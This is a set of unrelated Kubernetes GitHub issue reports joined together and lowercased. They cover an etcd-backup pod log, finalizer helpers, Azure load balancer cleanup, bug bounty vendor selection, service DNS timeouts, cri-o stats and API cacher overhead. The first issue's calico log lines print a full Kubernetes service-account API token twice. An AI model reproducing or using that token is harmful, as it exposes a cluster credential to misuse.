 1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532953378-t4sxr:  3.718666ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 75:i0730 12:29:29.581947       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532953378-t4sxr:  1.960296ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 2122:i0730 12:31:29.581988       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532953498-b2j6t:  1.873793ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 7993:i0730 12:39:31.750073       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532953978-q794g:  1.378595ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 11301:i0730 12:43:33.401057       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532954218-j6bcp:  69.161781ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 20873:i0730 12:55:28.808045       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532954938-2n6sb:  2.16757ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r 20887:i0730 12:55:29.580998       1 wrap.go:42  get /api/v1/namespaces/default/pods/etcd-backup-p95cd5wffg-1532954938-2n6sb:  2.016323ms  404   kubelet/v1.10.5  linux/amd64  kubernetes/32ac1c9  \r \r  kubelet \r 1723:jul 30 12:49:06 pqd44 kubelet 10710 : i0730 12:49:06.008408   10710 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-ck49c\   uniquename: \ kubernetes.io/secret/f191dcfb-93f6-11e8-b226-a68ab041e8ef-default-token-ck49c\   pod \ etcd-backup-p95cd5wffg-1532954938-2n6sb\   uid: \ f191dcfb-93f6-11e8-b226-a68ab041e8ef\  \r 1724:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.476  info  2138  calico.go 87: extracted identifiers containerid=\ bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b\  node=\ pqd44\  orchestrator=\ k8s\  workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1726:jul 30 12:49:06 pqd44 kubelet 10710 : t { key string \ json:\\\ key\\\ \ ; value string \ json:\\\ value\\\ \  } nil }}}}, etcdscheme:\ \ , etcdkeyfile:\ \ , etcdcertfile:\ \ , etcdcacertfile:\ \ } workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1727:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.478  info  2138  utils.go 250: configured environment:  cni_command=add cni_containerid=bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b cni_netns=/proc/2108/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=default;k8s_pod_name=etcd-backup-p95cd5wffg-1532954938-2n6sb;k8s_pod_infra_container_id=bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b cni_ifname=eth0 cni_path=/opt/calico/bin:/opt/cni/bin path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt kubelet_cadvisor_args=--cadvisor-port=0 kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki kubelet_extra_args=  --authentication-token-webhook=true --hostname-override=pqd44 --read-only-port 0   --cluster-dns=10.10.10.10 --cluster-domain=cluster.local datastore_type=kubernetes kubeconfig=/etc/cni/net.d/calico-kubeconfig k8s_api_endpoint=https://10.10.10.1:443 k8s_api_token=eyjhbgcioijsuzi1niisimtpzci6iij9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijjyw5hbc10b2tlbi1jmjr0ccisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lm5hbwuioijjyw5hbcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6ijizmtm1mtqyltkzztctmtfloc1imji2lwe2ogfimdqxzthlziisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddprdwjllxn5c3rlbtpjyw5hbcj9.is7ksnbvo0ojy1htkg_glyzosxxcqtr21wtcewfj_r_gzuuvshbea4gs4bchyilwoampfx_y30gf2qvi8zh1twy9_o5q97a\r 1731:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.505  info  2138  k8s.go 67: extracted identifiers for cmdaddk8s node=\ pqd44\  orchestrator=\ k8s\  workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1733:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.512  info  2138  k8s.go 100: fetched podcidr workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\  podcidr=\ 172.25.0.0/24\ \r 1735:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.520  info  2138  k8s.go 264: populated endpoint workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\  endpoint=workloadendpoint node=pqd44, orchestrator=k8s, workload=default.etcd-backup-p95cd5wffg-1532954938-2n6sb, name=eth0 \r 1737:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.533  info  2138  k8s.go 288: added mac, interface name, and active container id to endpoint workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\  endpoint=workloadendpoint node=pqd44, orchestrator=k8s, workload=default.etcd-backup-p95cd5wffg-1532954938-2n6sb, name=eth0, activeinstanceid=bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b \r 1738:jul 30 12:49:06 pqd44 kubelet 10710 : 2018-07-30 12:49:06.564  info  2138  k8s.go 296: wrote updated endpoint to datastore workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1742:jul 30 12:49:27 pqd44 kubelet 10710 : 2018-07-30 12:49:27.378  info  2510  calico.go 315: extracted identifiers containerid=\ bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b\  node=\ pqd44\  orchestrator=\ k8s\  workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1743:jul 30 12:49:27 pqd44 kubelet 10710 : 2018-07-30 12:49:27.379  info  2510  utils.go 250: configured environment:  cni_command=del cni_containerid=bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b cni_netns=/proc/2108/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=default;k8s_pod_name=etcd-backup-p95cd5wffg-1532954938-2n6sb;k8s_pod_infra_container_id=bc5207a17c42a137528fd4c9b89bf21dfc45a76399e43209069dc4f029d2185b cni_ifname=eth0 cni_path=/opt/calico/bin:/opt/cni/bin path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt kubelet_cadvisor_args=--cadvisor-port=0 kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki kubelet_extra_args=  --authentication-token-webhook=true --hostname-override=pqd44 --read-only-port 0   --cluster-dns=10.10.10.10 --cluster-domain=cluster.local datastore_type=kubernetes kubeconfig=/etc/cni/net.d/calico-kubeconfig k8s_api_endpoint=https://10.10.10.1:443 k8s_api_token=eyjhbgcioijsuzi1niisimtpzci6iij9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijjyw5hbc10b2tlbi1jmjr0ccisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lm5hbwuioijjyw5hbcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6ijizmtm1mtqyltkzztctmtfloc1imji2lwe2ogfimdqxzthlziisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddprdwjllxn5c3rlbtpjyw5hbcj9.is7ksnbvo0ojy1htkg_glyzosxxcqtr21wtcewfj_r_gzuuvshbea4gs4bchyilwoampfx_y30gf2qvi8zh1twy9_o5q97a\r 1747:jul 30 12:49:27 pqd44 kubelet 10710 : 2018-07-30 12:49:27.408  info  2510  k8s.go 346: endpoint deletion will be handled by kubernetes deletion of the pod. workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\  endpoint=workloadendpoint node=pqd44, orchestrator=k8s, workload=default.etcd-backup-p95cd5wffg-1532954938-2n6sb, name=eth0 \r 1749:jul 30 12:49:27 pqd44 kubelet 10710 : 2018-07-30 12:49:27.409  info  2510  utils.go 94: using a dummy podcidr to release the ip workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\  podcidr=\ 0.0.0.0/0\ \r 1751:jul 30 12:49:27 pqd44 kubelet 10710 : 2018-07-30 12:49:27.425  info  2510  k8s.go 367: teardown processing complete. workload=\ default.etcd-backup-p95cd5wffg-1532954938-2n6sb\ \r 1752:jul 30 12:49:27 pqd44 kubelet 10710 : e0730 12:49:27.591405   10710 kuberuntime_container.go:65  can't make a ref to pod \ etcd-backup-p95cd5wffg-1532954938-2n6sb_default f191dcfb-93f6-11e8-b226-a68ab041e8ef \ , container store-container: selflink was empty, can't make reference\r \r \r   environment  :\r kubernetes version  use  kubectl version  : \r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

 \r   what happened  :\r currently, when dealing with the  finalizers  slice on the  objectmeta  object, we can add a finalizer with the following:\r    \r obj.finalizers = append obj.finalizers, \ new.finalizer.value\  \r    \r removing specific finalizers like so:\r    \r newfinalizers :=   string{}\r for _, finalizer := range obj.finalizers {\r    if finalizer != removee {\r       newfinalizers = append newfinalizers, finalizer \r    }\r }\r obj.finalizers = newfinalizers\r    \r \r   what you expected to happen  :\r it would be an improvement to allow the developer to have access to 2 new methods on the  objectmeta  object:\r    \r //addfinalizer to the objects existing finalizers\r func  obj  objectmeta  addfinalizer newfinalizer string  {\r     obj.finalizers = append obj.finalizers, newfinalizer \r }\r \r //removefinalizer from the objects existing finalizers\r func obj  objectmeta  removefinalizer removee string  {\r    newfinalizers :=   string{}\r    for _, finalizer := range obj.finalizers {\r       if finalizer != removee {\r          newfinalizers = append newfinalizers, finalizer \r       }\r    }\r    obj.finalizers = newfinalizers\r }\r    \r \r   anything else we need to know?  :\r i'm happy to create the pr for this myself; if it is considered valuable.\r

this happened for the second time, i've seen some frontend ip configuration for internal loadbalancer being cleaned up while we did not delete the corresponding service.\r \r - audit logs do not show anything interesting\r - controller-manager   --v=4   did not show anything interesting\r - azure activity log shows the following:\r \r    \r ip configuration /subscriptions/<subscription_id>/resourcegroups/<resource_group_name>/providers/microsoft.network/loadbalancers/<loadbalancer_name>/frontendipconfigurations/<ip_config_id> is using the private ip address <ip_adress> which is being cleaned up and was allocated to resource /subscriptions/<subscription_id>/resourcegroups/<resource_group_name>/providers/microsoft.network/loadbalancers/<loadbalancer_name>.\r    \r \r /   \r cc @feiskyer

_this issue is an update on the process for vendor evaluation and selection for a kubernetes bug bounty program. this program is a work in progress. the bug bounty is not currently active. if you currently have a bug to submit, follow instructions at  https://kubernetes.io/docs/reference/issues-security/security/  https://kubernetes.io/docs/reference/issues-security/security/ ._\r \r    kubernetes bug bounty program vendor evaluation\r     goal\r to create a vulnerability rewards program  “bug bounty”  for kubernetes. this is to help:\r \r - attract security researchers to get more eyes on the code, shake out security bugs, and put money behind k8s security guarantees\r - simplify k8s’ security team’s security bug triage and response\r - allow all contributors to participate in improving k8s’ security, while remaining independent of any single k8s contributor\r \r this should not replace or interfere with existing vendor-specific bug bounty programs for their deployments of kubernetes, e.g., if a bug is in google’s specific deployment of kubernetes in google kubernetes engine, it should be reported to/ routed to the google vulnerability rewards program.\r \r     scope\r an initial scope for the bug bounty is defined by the kubernetes product security team in  community/contributors/guide/bug-bounty.md  https://github.com/kubernetes/community/blob/master/contributors/guide/bug-bounty.md .\r \r     process\r - an initial discussion with the cncf in april 2018 suggested there was interest in pursuing a bug bounty program for kubernetes, funded by the cncf.\r - after initial identification of vendors and preliminary discussions, the vendors were invited to have an initial meeting on oct 19 2018, to understand the scope of the proposal.\r - they were invited to submit proposals, and any follow-up questions, e.g., on the existing processes of the  kubernetes product security team  pst   https://github.com/kubernetes/sig-release/blob/master/security-release-process-documentation/security-release-process.md product-security-team-pst  by nov 1 2018.\r - vendors presented their proposals to the pst for evaluation on nov 20 2018.\r - as a follow-up to these proposals, the pst decided to evaluate the vendor platforms directly. they were given trial accounts and tested these out the week of nov 26 2018.\r - as a result of these evaluations, the kubernetes pst recommended a preferred vendor.\r \r     eligible vendors\r the following vendors were approached for proposals:\r - bugcrowd\r - hackerone\r \r both submitted and presented their proposals.\r \r     evaluation\r criteria were not directly shared with the vendors, but included:\r -   hosting  : e.g., can this be hosted on an agnostic platform, like kubernetes.io? how many researchers are in the vendor’s existing pool?\r -   relevant experience  : e.g., does the vendor have any experience with open source bug bounty programs? does the vendor have any experience with kubernetes?\r -   program definition  : e.g., can the vendor help define the scope of the bug bounty program?\r -   triage  : e.g., how quickly will  be validated and triaged? can reports be easily routed to other organizations if they do not refer to kubernetes core?\r -   integration with existing vulnerability response process  : e.g., can there be security team members from different organizations on call? does the vendor platform integrate directly with github, which is part of the pst’s current process?\r -   disclosure policy  : e.g., does the vendor disclose reports by default?\r -   rewards  : e.g., can the vendor use a custom rewards structure? can swag rewards be provided?\r -   price  : e.g., what is the annual cost to run the platform?\r \r     recommendation\r after significant evaluation, the kubernetes product security team  pst  would be content with either vendor, hackerone or bugcrowd, hosting a kubernetes vulnerability rewards program.\r \r hackerone is preferred due to: its tighter integration with github, simple vulnerability report disclosure, automated response flows, automated cvss scoring, and simpler fulfillment of swag rewards. \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i have a simple kubernetes service standup and it is backed by a single pod. i go inside the docker container for that pod by  docker exec -it k8s_test_test-deployment-58b575b599-zlpb5_default_4cc8f312-23e1-11e9-acf6-0800273e509f_0 bash . i try to  curl test  to access the service, but it receives connection timeout error. i also test by  curl <pod ip>:8080 , which works without any issue. \r \r   what you expected to happen  :\r  curl test  or  curl <service name>  also works without any issue inside the container. \r \r   how to reproduce it  as minimally and precisely as possible   :\r i use  minikube  on macos to test the kubernetes setup. below are my k8s config file and docker file. you can build a very simple test image  docker build --tag=test .  and test it in your environment. \r \r  config.yml \r    yaml\r kind: service\r apiversion: v1\r metadata:\r   name: test\r spec:\r   selector:\r     app: test\r   ports:\r   - name: http\r     protocol: tcp\r     port: 80\r     targetport: 8080\r   type: nodeport\r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test-deployment\r   labels:\r     app: test\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: test\r   template:\r     metadata:\r       labels:\r         app: test\r     spec:\r       containers:\r       - name: test\r         image: test\r         imagepullpolicy: never\r         ports:\r         - containerport: 8080\r    \r \r  dockerfile \r    dockerfile\r from ubuntu\r \r workdir /server\r \r copy . /server\r \r run apt-get update && apt-get install -y build-essential \\\r     python \\\r     python-dev \\\r     python-pip \\\r     curl \\\r     telnet \\\r     traceroute\r \r \r expose 8080\r \r cmd python -m simplehttpserver 8080\r    \r \r   anything else we need to know?  :\r i use  nslookup test , and it returns the correct service ip attached to  test . i don't think this issue has anything to do with dsn service. \r \r  curl -v test  prints out the following error.\r > rebuilt url to: test/\r trying 10.105.63.204...\r tcp_nodelay set\r connect to 10.105.63.204 port 80 failed: connection timed out\r failed to connect to test port 80: connection timed out\r closing connection 0\r curl:  7  failed to connect to test port 80: connection timed out\r \r here is my original post on  stackoverflow  https://stackoverflow.com/questions/54408291/kubernetes-service-not-able-to-curl-itself-inside-docker . \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-13t23:15:13z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r    \r macos mojave 10.14.2\r    \r - kernel  e.g.  uname -a  : \r    \r darwin jiashens-macbook-pro.local 18.2.0 darwin kernel version 18.2.0: mon nov 12 20:24:46 pst 2018; root:xnu-4903.231.4~2/release_x86_64 x86_64\r    \r - install tools: \r    \r brew install kubernetes-cli\r    \r - others:\r

context: kubernetes-e2e-gke-ci-reboot runs a small, stable set of tests along with the reboot tests to verify cluster functionality post-reboot. i've noticed tests that are normally stable, fail frequently when they run immediately after node reboot. examples:  pod disks should schedule a pod w/ a rw pd, remove it, then schedule it on another host  http://kubekins.dls.corp.google.com/view/gke/job/kubernetes-e2e-gke-ci-reboot/4433/   kubectl client guestbook application should create and stop a working application  http://kubekins.dls.corp.google.com/view/gke/job/kubernetes-e2e-gke-ci-reboot/4432/   kubectl client simple pod should support port-forward  http://kubekins.dls.corp.google.com/view/gke/job/kubernetes-e2e-gke-ci-reboot/4424/   i think the issue here is that  waitfornodetobeready  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/util.go l1828  is an insufficient signal that master/node connectivity is functional after the reboot. in particular, the ssh tunnel used by the proxy may not have been restored yet.  cc @jszczepkowski

i'm running 10 nodes and about 160 pods in our cluster. the cluster is up for a month and suddenly this error happened frequently when making request among services in cluster      \ response\ : {     \ err\ : {       \ code\ : \ enotfound\ ,       \ errno\ : \ enotfound\ ,       \ syscall\ : \ getaddrinfo\ ,       \ hostname\ : \ svc-api-mapper\ ,       \ host\ : \ svc-api-mapper\ ,       \ port\ : \ 80\      }   },   \ attempt\ : 0      the pods selected by the service are up and running, there was no event indicating that pods are up and down but somehow the service name  svc-api-mapper  cannot be resolved.       $ kubectl describe se svc-api-mapper name:           svc-api-mapper namespace:      production labels:         app=workflow-koa-api-mapper selector:       app=workflow-koa-api-mapper type:           loadbalancer ip:             10.3.0.33 port:           <unnamed>   80/tcp nodeport:       <unnamed>   30106/tcp endpoints:      10.2.8.126:80,10.2.80.248:80 session affinity:   none no events.      when i looked at the skydns logs, there were a lot of errors that printed every second:  2015/11/22 05:40:00 skydns: can not forward, name too short  less than 2 labels : svc-rethinkdb-driver.   notice that the enotfound error doesn't always happen, just frequently. is it related to performance issue?  i'm using kubernetes 1.0.1 in coreos cluster 773.1.0

_feature request_\r \r when adding objects for a tpr type, create and update operations succeed as long as the contents are valid json. the closest thing to user feedback controllers of those tprs can provide is emitting of an event, which is asynchronous. in practice, we want to prevent invalid objects to be stored from the server side in the first place and also give them useful feedback on what is wrong with it.\r \r currently, in many cases only consistent operation to perform if a previously valid resource was modified into an invalid state is to tear everything associated with the resource down or halt everything for the user to resolve.\r \r @davidopp mentioned this before in https://github.com/kubernetes/kubernetes/issues/22768 issuecomment-217974215. it was concluded custom tools shipped with custom controllers can handle this on the client side.\r however, one of the great things about tprs is the seamless and native experience. that seems to include no need for a new client tool for anyone who wants to use a custom controller/tpr.\r \r solutions that came up so far were providing json schema specifications with each tpr or arbitrary validation handled by the controller handling a tpr.\r the latter seems to be a more powerful and thinner technique. it could be implemented by having the api server to a validation round trip through a specified http endpoint using a standardized protocol.\r

volume attached to node a. shutdown kubelet on node a. wait for a while, pod is then scheduled to node b. but volume keeps attached to node a, regardless how hard master is trying to detach it. pod status thus ends up as \ containercreating\ . \r \r master log is populated with\r    \r waiting for volume state: actual=busy, desired=detached\r    \r \r on aws console, i see the volume status is always in-use, even i manually unmount the volume on node a. i have to force detach the volume. once force detach succeeds, pod is rescheduled and recreated successfully.\r \r aws sdk offers a  force option  https://github.com/aws/aws-sdk-go/blob/master/service/ec2/api.go  to force detach volume.  shouldn't we use it in this case?\r \r @justinsb @kubernetes/sig-aws @kubernetes/sig-storage

feature request  \r \r description:\r \r when provisioning k8s nodes in azure using the  --cloud-provider  flag, we seem to be getting the following labels\r    \r labels:            beta.kubernetes.io/arch=amd64\r             beta.kubernetes.io/instance-type=standard_d5_v2\r             beta.kubernetes.io/os=linux\r             failure-domain.beta.kubernetes.io/region=westus\r             failure-domain.beta.kubernetes.io/zone=2\r    \r we would also need to have the  update-domain  label to allow a better node selection at the application layer. since the availability set covers all of the k8s nodes  or a subset based on hardware differences  the scheduler could in theory schedule pods on the same update domain within the same node pool. while having the scheduler aware of the failure-domain and update-domain would be awesome, we think that on the short term we could use node affinity logic in our application's manifest to leverage the information present as labels. \r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : centos 7.3\r -   install tools  : inhouse  salt based \r \r cc:\r @colemickens \r @seb-solon\r

\r this issue is created to track the development of federated resource quota.\r the design document was updated  here  https://docs.google.com/document/d/1f97grkjyd0yrs4bntl38304_dmcx1-o2zbwyrm0fule .\r \r cc @kubernetes/sig-cluster-federation\r @derekwaynecarr

forked from https://github.com/kubernetes/kubernetes/issues/51903 issuecomment-327290332.\r \r since m60, cos set 4000 pids limit for docker.service.\r \r however, currently all containerd-shims are also inside the cgroup, and they are per-container.\r each containerd-shim has more than 10 threads based on the node size:\r    \r $ $ ps aux | grep containerd-shim\r root       4218  0.0  0.0 293100 12588 ?        ssl  aug10   1:42 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainerd/containerd --runtime docker-runc\r root      10240  0.2  0.0 422176  5476 ?        sl   13:12   0:00 docker-containerd-shim 04065c55d068762a3b55d277874ddb4897315f113f1ac865975ae0ca7eb78151 /var/run/docker/libcontainerd/04065c55d068762a3b55d277874ddb4897315f113f1ac865975ae0ca7eb78151 docker-runc\r lantaol   10328  0.0  0.0  23780  2228 pts/21   s+   13:12   0:00 grep --color=auto containerd-shim\r \r $ pstree 10240\r docker-containe─┬─nginx───nginx\r                 └─10  {docker-containe} \r    \r \r it's not hard to hit the limit, say 100 3-container pods may hit the limit.\r \r we may want to:\r 1  either patch kubernetes to change the limit to higher value;\r 2  or patch cos directly, since this may be a regression for other cos user, too.\r \r @yujuhong @dchen1107 @adityakali @wonderfly \r /cc @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r when i setup a loadbalancer to my frontend service, i notice it's forwarding traffic to each of my nodes. in case of possible ddos attack, i'd like the front end nodes to be isolated to prevent the back end nodes from being overloaded as well.\r \r   what you expected to happen  :\r when setting up a loadbalancer service, i should be able to setup a nodeselector  or it should read from the deployment associated with the service , and understand what nodes should receive traffic, and only route to nodes of that type.\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.6\r - cloud provider or hardware configuration  : azure\r

is this a bug report or feature request?  :\r \r  \r  /area kubelet\r /area kubelet-api\r \r   what happened  :\r we are trying to migrate from docker to cri-o for container runtime\r \r when querying the kubelet for /stats/summary  curl localhost:10255/stats/summary \r the pods information is an empty list although pods are running on the node, the general server information is available.\r this is an example of the end of the output:\r .\r .\r .\r    },\r    \ rlimit\ : {\r     \ time\ : \ 2018-10-11t06:38:33z\ ,\r     \ maxpid\ : 40960,\r     \ curproc\ : 1972\r    }\r   },\r   \ pods\ :   \r  }\r \r   what you expected to happen  :\r statics information on pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure, here is our kubelet configuration: \r xecstart=/usr/bin/kubelet --allow-privileged=true \\\r --cadvisor-port=4194 \\\r --cgroup-driver=cgroupfs \\\r --client-ca-file=/etc/pki/kubernetes_certs/ca.pem \\\r --cluster-dns=10.10.10.2 \\\r --cluster-domain=customdomain.com \\\r --cni-bin-dir=/opt/cni/bin \\\r --cni-conf-dir=/etc/cni/net.d \\\r --container-runtime-endpoint=unix:///var/run/crio/crio.sock \\\r --container-runtime=remote \\\r --cpu-manager-policy=none \\\r --feature-gates=taintbasedevictions=true \\\r --image-gc-high-threshold=70 \\\r --image-gc-low-threshold=50 \\\r --kube-reserved-cgroup=podruntime.slice \\\r --kube-reserved=cpu=1,memory=3gi \\\r --kubeconfig=/etc/kubernetes/kubelet_kubeconfig \\\r --kubelet-cgroups=/podruntime.slice \\\r --network-plugin=cni \\\r --node-labels=configure_bgp_peers=true \\\r --pod-manifest-path=/etc/kubernetes/manifests \\\r --register-node=true \\\r --register-with-taints=new_node=true:noschedule \\\r --runtime-cgroups=/podruntime.slice \\\r --runtime-request-timeout=10m \\\r --system-reserved-cgroup=system.slice \\\r --system-reserved=cpu=1,memory=768mi \\\r --tls-cert-file=/etc/pki/kubernetes_certs/k24.customdomain.com_cert.pem \\\r --tls-private-key-file=/etc/pki/kubernetes_certs/k24.customdomain.com_key.pem\r \r   anything else we need to know?  :\r we've got the same results with mix of the following configuration:\r \r - kubelet 1.10.7 and 1.11.3\r - cri-o 1.10.5 and 1.11.6 \r \r another issue that we have that i think is the result of this is that crictl stats does not return any information\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: on premise dell 630/640 servers\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux k24.customdomain.com 4.14.35-1818.2.1.el7uek.x86_64  2 smp mon aug 27 21:16:31 pdt 2018 x86_64 x86_64 x8 6_64 gnu/linux\r - install tools: puppet automation \r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r we've been refactoring the storage e2e tests to be plugin-agnostic.  we should migrate as many local pv tests to use it as much as possible, and maybe even consider converting local pv test cases to be plugin-agnostic if it makes sense.\r \r there are still major changes going on in this area right now though.  we should wait until https://github.com/kubernetes/kubernetes/pull/70862 and https://github.com/kubernetes/kubernetes/pull/70992 have merged.\r \r @kubernetes/sig-storage-feature-requests \r <!-- do not edit below this line -->\r 

this is forked from https://github.com/kubernetes/kubernetes/issues/51825 which was closed without fixing this particular issue.\r \r currently a separate cacher is created for every version of an api.\r that may introduce a significant overhead for both memory  every object is kept in memory  as well as cpu  each cacher is watching separately all changes .\r \r the reason for that is that we're creating registry for each version completely independently from each other.\r \r one example  out of many \r https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/apps/rest/storage_apps.go l60\r we create storage for every version  v1beta1, v1beta2, v1  independently, that internally is calling storage decorator:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store.go l1289\r and that results in a separate cacher for every single version.\r \r we should finally fix that.\r \r @kubernetes/sig-api-machinery-bugs @kubernetes/sig-scalability-bugs @smarterclayton \r \r @resouer - can be something that your team may want to look into

